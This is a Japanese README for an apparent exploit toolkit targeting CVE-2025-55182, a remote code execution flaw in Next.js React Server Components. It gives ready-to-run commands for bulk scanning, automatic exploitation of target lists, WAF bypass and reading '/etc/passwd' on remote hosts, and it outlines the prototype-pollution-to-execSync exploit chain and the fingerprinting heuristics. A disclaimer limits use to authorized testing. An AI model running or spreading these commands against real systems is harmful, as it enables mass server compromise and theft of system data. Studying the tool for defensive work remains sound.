
CVE-2025-55182(Next.js React Server Componentsにおける重大なRCE)の自動検出および悪用ツールキット。多層フィンガープリンティング、WAFバイパス、バルクスキャンによるペネトレーションテスト機能を搭載。
Next.js React Server Components のリモートコード実行脆弱性 (CVE-2025-55182) をテストするための包括的なセキュリティ研究ツールです。
このツールキットは、React Server Components を使用する Next.js アプリケーションに影響を与える重大な RCE 脆弱性 CVE-2025-55182 に対する自動検出およびエクスプロイト機能を提供します。ツールキットは、以下の3つの統合コンポーネントで構成されています:
requests ライブラリpip3 install requests
git clone https://github.com/yourusername/CVE-2025-55182-poc-tool.git
cd CVE-2025-55182-poc-tool
chmod +x exploit.sh auto_exploit.sh
ターゲットをスキャンしてエクスプロイトする最も速い方法:
# Create a file with target URLs (one per line)
echo "https://example.com" > targets.txt
# Auto-scan and exploit in one command
./auto_exploit.sh -i targets.txt -s -c "id"
エクスプロイトなしで Next.js アプリケーションを識別:
python3 NextApp.py targets.txt
出力ファイル:
confirmed_nextjs_targets.txt - 検出されたすべての Next.js アプリケーションhigh_confidence_nextjs_targets.txt - 高信頼度の検出結果のみ個別のターゲットをテスト:
# Basic exploitation
./exploit.sh -d https://target.com -c "whoami"
# With WAF bypass
./exploit.sh -d target.com -c "cat /etc/passwd" -w
# Custom WAF bypass size
./exploit.sh -d target.com -c "ls -la" --waf-bypass --waf-size 256
# Skip SSL verification
./exploit.sh -d https://target.com -c "id" -k
./auto_exploit.sh -i targets.txt -s -c "whoami"
# Step 1: Detect Next.js applications
python3 NextApp.py targets.txt
# Step 2: Exploit confirmed targets
./auto_exploit.sh -c "id"
# Full auto-scan with WAF bypass
./auto_exploit.sh -i targets.txt -s -w --waf-size 256 -c "whoami"
# Custom delays and timeouts
./auto_exploit.sh -i targets.txt -s --delay 5 --timeout 30 -c "id"
# Skip SSL verification in bulk mode
./auto_exploit.sh -i targets.txt -s -k -c "hostname"
python3 NextApp.py <targets_file>
引数:
targets_file - ターゲットURLを含むテキストファイル (1行に1つ)./exploit.sh [OPTIONS]
オプション:
./auto_exploit.sh [OPTIONS]
オプション:
NextApp.py によって生成 - Next.js アプリケーションとして識別されたすべてのURLが含まれます。
NextApp.py によって生成 - 高信頼度の Next.js 検出結果のみを含みます (信頼度スコア 100+)。
auto_exploit.sh によって生成 - 以下の内容を含む包括的なエクスプロイトレポート:
スキャナーは信頼度スコアリングシステムを用いた複数の検出技術を使用します:
x-nextjs-*, x-vercel-*x-powered-by: Next.js__NEXT_DATA__ の存在 (100ポイント)_next/* アセットパス (数量に応じて25-75ポイント)__NEXT_DATA__, __NEXT_LOADED_PAGES__middlewareManifest, self.__RSC_MANIFEST信頼度のしきい値:
エクスプロイトは、Next.js React Server Components におけるプロトタイプ汚染チェーンを利用します:
__proto__ チェーンを汚染_response._prefix に任意のJavaScriptを注入process.mainModule.require('child_process').execSync() を介してコマンドを実行X-Action-Redirect ヘッダーから結果を抽出ツールキットには組み込みのWAFバイパス機能が含まれています:
-w または --waf-bypass フラグで有効にします。
# Create target list
cat > targets.txt << EOF
https://app.example.com
https://dashboard.example.com
https://admin.example.com
EOF
# Run unified scan
./auto_exploit.sh -i targets.txt -s -c "whoami"
# Check results
cat exploit_results.txt
./exploit.sh -d https://target.com -c "cat /etc/passwd" -w --waf-size 256
# Step 1: Detect and filter
python3 NextApp.py targets.txt
# Step 2: Exploit high-confidence only
./auto_exploit.sh -i high_confidence_nextjs_targets.txt -c "id"
このツールは、許可されたセキュリティテストおよび研究目的のみを対象としています。ユーザーは以下を遵守する必要があります:
コンピュータシステムへの不正アクセスは違法です。 著者はこのツールの誤用に対する一切の責任を負いません。
この脆弱性を発見および開示したセキュリティ研究者に感謝します:
貢献を歓迎します!以下の手順に従ってください:
問題、質問、機能リクエストについては、GitHubでIssueを開いてください。
このプロジェクトは教育および許可されたセキュリティテスト目的で提供されます。責任を持って倫理的に使用してください。
| オプション | 説明 | デフォルト |
|---|
-d, --domain | ターゲットドメイン/URL | http://localhost:3000 |
-f, --file | ターゲットリストを含むファイル | - |
-c, --command | 実行するコマンド | id |
-w, --waf-bypass | WAFバイパスを有効化 | 無効 |
--waf-size SIZE | WAFバイパスデータサイズ (KB) | 128 |
--timeout SECONDS | リクエストタイムアウト | 15 |
-k, --insecure | SSL検証をスキップ | 無効 |
--user-agent AGENT | カスタムUser-Agent | Mozilla/5.0... |
-h, --help | ヘルプメッセージを表示 | - |
| オプション | 説明 | デフォルト |
|---|
-i, --input FILE | 入力ターゲットファイル | confirmed_nextjs_targets.txt |
-o, --output FILE | 出力結果ファイル | exploit_results.txt |
-c, --command CMD | 実行するコマンド | id |
-w, --waf-bypass | WAFバイパスを有効化 | 無効 |
--waf-size SIZE | WAFバイパスサイズ (KB) | 128 |
--timeout SECONDS | リクエストタイムアウト | 15 |
-k, --insecure | SSL検証をスキップ | 無効 |
--delay SECONDS | リクエスト間の遅延 | 2 |
-s, --scan | 最初にNext.jsを自動スキャン | 無効 |
-h, --help | ヘルプメッセージを表示 | - |